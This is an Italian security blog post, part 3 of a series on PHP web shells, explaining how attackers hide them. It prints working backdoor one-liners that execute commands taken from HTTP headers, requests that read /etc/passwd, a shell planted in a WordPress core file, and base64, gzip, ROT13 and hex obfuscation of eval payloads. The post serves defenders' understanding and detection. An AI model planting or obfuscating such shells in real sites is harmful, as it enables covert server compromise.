Request Support  | Contact Sales

Diventa Autore per CoreTech | Scopri di più





Mantenere le Web Shells sotto copertura - parte 3

07/07/20 CoreTech Blog

Banner

Nella parte 2 di questa serie, abbiamo esaminato esempi specifici di shell Web nel linguaggio di programmazione PHP. Nella parte 3 di questa serie, esamineremo alcune tecniche utilizzate dagli aggressori per mantenere nascoste le shell web.

I comandi possono essere inviati alla shell web usando vari metodi con la richiesta HTTP POST più comune. Tuttavia, gli hacker malintenzionati non sono esattamente le persone che rispettano le regole. Di seguito sono riportati alcuni dei possibili trucchi che gli aggressori possono utilizzare per mantenere le shell web sotto il radar.

Modifica delle intestazioni

Invece di passare il comando tramite il $_POST parametro request, usano la stringa dell'agente utente.

 

<?php system($_SERVER['HTTP_USER_AGENT'])?>

 

L'aggressore dovrebbe quindi creare richieste HTTP specifiche inserendo il comando all'interno dell'intestazione User-Agent HTTP.

 

GET /demo/shell.php HTTP/1.1

Host: 192.168.5.25

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: cat /etc/passwd

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

 

 

Banner

Gli effetti di questo comportamento sono visibili nel registro del server, dove l'HTTP User-Agent della seconda richiesta è stato sostituito dal cat /etc/passwd comando.

 

192.168.5.26 - - [28/Feb/2020:20:38:28 +0100] "GET /demo/shell.php HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

192.168.5.26 - - [28/Feb/2020:20:38:50 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

 

Il metodo sopra è rumoroso e può facilmente dare la mancia a un amministratore che guarda i log del server. Il seguente, tuttavia, non lo è.

 

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>

GET /demo/shell.php HTTP/1.1

Host: 192.168.5.25

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding: gzip, deflate, sdch

Accept-Language: cat /etc/passwd

 

Il metodo sopra non lascia tracce visibili (almeno nel registro degli accessi) per quanto riguarda il comando eseguito.

 

192.168.5.26 - - [28/Feb/2020:20:48:05 +0100] "GET /demo/shell.php HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

 

Nascosto in bella vista

La maggior parte delle conchiglie PHP popolari come c99, r57, b374, e altri usano nomi di file che sono ben noti e facilmente far sorgere il sospetto. Sono nella lista nera e possono essere facilmente identificati. Uno dei modi più semplici che gli aggressori usano per nascondere le shell web è caricarle in sottodirectory profonde e / o usando nomi casuali.

 

http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php

 

Un modo più efficace è quello di incorporare il codice della shell Web in file già esistenti e legittimi.

 

http://www.example.com/index.php

http://www.example.com/about.php

 

O nel caso di un CMS (ad esempio WordPress)

// http://www.example.com/wp-content/wp-blog-header.php

 

if ( !isset($wp_did_header) ) {

$wp_did_header = true;

 

// Load the WordPress Core System

system($_SERVER['HTTP_ACCEPT_LANGUAGE']);

 

// Load the WordPress library.

require_once( dirname(__FILE__) . '/wp-load.php' );

 

// Set up the WordPress query

wp();

 

// Load the theme template

require_once( ABSPATH . WPINC . '/template-loader.php' );

}

 

Nota : un utente malintenzionato può utilizzare l'operatore @ prima di una funzione per eliminare eventuali errori che possono essere generati e successivamente scritti nel registro degli errori.

 

Offuscamento

Gli aggressori utilizzano varie tecniche di offuscamento per evitare di essere rilevati dagli amministratori o da altri aggressori. Continuano a trovare modi nuovi e più sofisticati per nascondere il loro codice e bypassare i sistemi di sicurezza. Di seguito vedremo alcune delle tecniche più comuni utilizzate.

 

Lo spazio bianco

Rimuovendo lo spazio bianco da un blocco di codice, sembra una grande stringa, che rende meno leggibile e più difficile identificare ciò che fa lo script.

 

<?php

// Whitespace makes things easy to read

function myshellexec($cmd){

 global $disablefunc; $result = "";

 if (!empty($cmd)){

 if (is_callable("exec") && !in_array("exec",$disablefunc)) {

 exec($cmd,$result); $result = join("",$result);

 }

 }

 }

// Whitespace removed makes things harder to read

function myshellexec($cmd) {global $disablefunc;$result = "";

 if(!empty($cmd)) { if (is_callable("exec") and

 !in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}}

?>

 

scrambling

Scrambling è una tecnica che può essere utilizzata efficacemente in combinazione con altri per aiutare una shell web a non essere rilevata. Scrambles il codice rendendolo illeggibile e si avvale di varie funzioni che ricostruiranno il codice quando eseguito.

 

<?php

// Scrambled

  $k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);

 

// Unscrambled

  // base_64 encoded string -> system('ls -la');

  $k='c3lzdGVtKCdscyAtbGEnKTs=';

  // strrev() reverses a given string:   strrev('(edoced_46esab.""nruter')."'".$k."')

$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");

  // $c = system('ls -la');

  $f=eval($c);

  eval($f);

 

Tecniche di codifica, compressione e sostituzione

Le shell Web in genere utilizzano tecniche aggiuntive per nascondere ciò che stanno facendo. Di seguito sono riportate alcune funzioni comuni che le shell Web basate su PHP sfruttano per non essere rilevate.

  • eval(): Una funzione che valuta una determinata stringa come codice PHP
  • assert(): Una funzione che valuta una determinata stringa come codice PHP
  • base64(): Codifica i dati con la codifica MIME base64
  • gzdeflate(): Comprime una stringa utilizzando il formato dati DEFLATE; gzinflate () lo decomprime
  • str_rot13(): Sposta ogni lettera di una determinata stringa di 13 posizioni nell'alfabeto

Gli esempi seguenti producono tutti lo stesso risultato, tuttavia, un utente malintenzionato potrebbe scegliere di utilizzare più tecniche di offuscamento affinché la shell Web mantenga un profilo basso.

<?php

  // Evaluates the string "system('ls -la');" as PHP code

  eval("system('ls -la');");

 

  // Decodes the Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));

 

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));

 

  // Decodes the compressed, ROT13 encoded, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA=='))));

 

  // Decodes the compressed, Base64 encoded string and evaluates the decoded string "system('ls -la');" as PHP code

  assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));

?>

 

Utilizzo di Hex come tecnica di offuscamento

I valori esadecimali di caratteri ASCII possono anche essere usati per offuscare ulteriormente i comandi della web shell. Prendiamo la seguente stringa come esempio.

 

system('cat /etc/passwd');

Di seguito è riportato il valore della stringa sopra in esadecimale.

73797374656d2827636174202f6574632f70617373776427293b

Pertanto, il seguente codice può essere utilizzato per accettare una stringa con codifica esadecimale e valutarla come codice PHP.

<?php <br ?--> // function that accepts a hex encoded data

function dcd($hex){

// split $hex

for ($i=0; $i < strlen($hex)-1; $i+=2){

//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character

$string .= chr(hexdec($hex[$i].$hex[$i+1]));

}

// evaluate/execute the command

eval($string);

}

dcd('73797374656d2827636174202f6574632f70617373776427293b');

?>

 

L'output sarebbe simile all'esempio seguente.

 

Gli esempi sopra possono essere tutti decodificati usando vari strumenti, anche se sono codificati più volte. In alcuni casi, gli aggressori possono scegliere di utilizzare la crittografia, anziché la codifica, per rendere più difficile determinare cosa sta facendo la shell web.

L'esempio seguente è semplice, ma pratico. Sebbene il codice non sia codificato o crittografato, è ancora meno rilevabile rispetto al precedente perché non utilizza nomi di funzioni sospette (come eval()assert() ), stringhe codificate lunghe, codice complicato; e, soprattutto, non farà scattare alcuna bandiera rossa quando gli amministratori visualizzano i registri (in una certa misura).

 

<?php

  // Send a POST request with variable '1' = 'system' and variable '2' = 'cat /etc/passwd'

  $_=$_POST['1'];

  $__=$_POST['2'];

 

  //The following will now be equivalent to running -> system('cat /etc/passwd');

  $_($__);

?>

 


Articoli su Acunetix

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!